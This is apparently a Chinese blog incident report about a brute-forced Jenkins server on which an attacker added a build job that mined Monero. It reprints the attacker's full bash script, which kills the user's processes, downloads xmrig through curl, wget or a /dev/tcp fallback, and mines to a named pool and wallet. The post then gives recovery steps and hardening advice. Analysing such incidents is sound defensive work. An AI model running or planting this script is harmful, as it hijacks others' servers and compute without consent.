线上服务器突然崩了!?Jenkins 服务器中挖坑病毒解决方案

作者:一盏烛光,贤牛特邀工程师。
防伪码:三十功名尘与土,八千里路云和月。

公元 2020/04/16 4:38 分,登录线上服务器,执行 top 命令执行,发现已经崩了…

FFEBBB42F1637A08B810C83C3A8C3331.png

我们的 Jenkins 数据是从广州研发部 copy 过来的,包括 job 和 plugins 目录,和广州确定了,下图三个项目和他们无关。

IMG_6327(20200416-053725).PNG

查看控制台构建输出日志,发现直接把 CPU 搞崩了

IMG_6328.PNG

然后看这个莫名其妙的未知项目,发现里面有脚本配置:

#!/bin/bash
if [[ $(whoami) != "root" ]]; then
    for tr in $(ps -U $(whoami) | egrep -v "java|ps|sh|egrep|grep|PID" | cut -b1-6); do
        kill -9 $tr || : ;
    done;
fi
threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head -n 1);
hostHash=$(hostname -f | md5sum | cut -c1-8);
echo "${hostHash} - ${threadCount}";
_curl () {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80
  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}
rm -rf config.json;
d () {
 curl -L --insecure --connect-timeout 5 --max-time 40 --fail $1 -o $2 2> /dev/null || wget --no-check-certificate --timeout 40 --tries 1 $1 -O $2 2> /dev/null || _curl $1 > $2;
}

test ! -s trace && \
    d https://github.com/xmrig/xmrig/releases/download/v5.5.2/xmrig-5.5.2-xenial-x64.tar.gz trace.tgz && \
    tar -zxvf trace.tgz && \
    mv xmrig-5.5.2/xmrig trace && \
    rm -rf xmrig-5.5.2 && \
    rm -rf trace.tgz;
test ! -x trace && chmod +x trace;
k() {
    ./trace \
        -r 2 \
        -R 2 \
        --keepalive \
        --no-color \
        --donate-level 1 \
        --max-cpu-usage 100 \
        --cpu-priority 3 \
        --print-time 25 \
        --threads ${threadCount:-4} \
        --url $1 \
        --user 49RaGEt31SBcxHgJXcZ6HP9b3rrCSRoAYYVuRdjQVhpsUjh2gh9R6xMKshXL9oBQ7JPjF6A21PuxbbDhbjAuTuKT3s7ioo9 \
        --pass x \
        --keepalive
}
k pool.minexmr.com:4444

此时只需要禁用该 Workspace,并关闭已启动的进程即可,服务器就此恢复正常。
在这里插入图片描述
此时,发现 Jenkins 服务因为物理内存不足启动报错了:

IMG_6329(20200416-053723).PNG

凌晨在不影响用户的情况下重启了实例,Jenkins 和 nacos 服务都正常:

扫描二维码关注公众号,回复: 11143489 查看本文章

后端:
在这里插入图片描述

前端:

$FEO@FU(XO_I(KL`6FZC90Y.png

C(ZEMR6{QZ]651Z%}M5J`OK.png

网上看了很多前辈的经验,回头总结一下发现,整个安全事件的根本原因在于 Jenkins 的没有设置密码验证机制,密码输入错误后可以马上无间断的再次输入,且没有输入次数限制,该安全隐患在安装 Jenkins 之处的时候就已经发现了。

但是当时没有处理,因此给 hacker 暴力破解提供了可能性,剩下的就简单多了,hacker 暴力破解后,创建了一个 workspace,并编写 build脚 本,并在服务器上安装挖矿程序,然后推出。

索性是夜间出了问题,我及时发现,然后立即去 Jenkins 开启安全设置。

LR69V)6H(%KWEMY6JX5VB(5.png

KX_XI}R1SDY58L_V8`E9NTT.png

MCRM4)N]HW]]B)A`2UWQ790.png

检查 crontab 任务是否有异常,发现并无异常。

2VY%[[1K{VA%NG_UM2FH5R1.png

准确讲这并不算一个病毒,只是别人利用密码验证机制的漏洞,通过 Jenkins 在服务器上部署了一个占用资源非常庞大的应用程序,客观的说这个应用程序对系统也是无害的。

但从安全角度上讲,kacker 是有能力通过这一漏洞对系统进行破坏的,所幸的是这是一个线上联调服务器,不会带来直接的经济损失,但此处被 hack 的经历,确实暴漏出我对服务器安全的不重视,算是一次没有“花钱”买的教训。

其实,安全只是相对的,没有绝对的安全可言,还是要提高意识,做好监控,做到及时发现,及时响应!

建议办法:

  1. DNS 解析只做到公司 DNS 服务器上 不做外面的服务器 (我都不知道有这么个网址 我怎么黑啊) ;
  2. 服务器上做 vim /etc/host.deny设置,写上数量有限的IP 或者网段;
  3. 果是通过 ngx 发布 里面也可以设置黑白名单;
  4. 只允许内网访问(路由器和云服务器的内外网打通);
  5. 降低权限;
  6. 公网入口应用硬件防火墙,或者部署跳板机;
  7. 每天(9-18)可以发布,其他时间发布,需要有领导审批,因为一般都是夜里黑你;

贤牛:让 IT 服务畅行天下

在这里插入图片描述

发布了2 篇原创文章 · 获赞 4 · 访问量 177

猜你喜欢

转载自blog.csdn.net/xianniu_master/article/details/105788814
今日推荐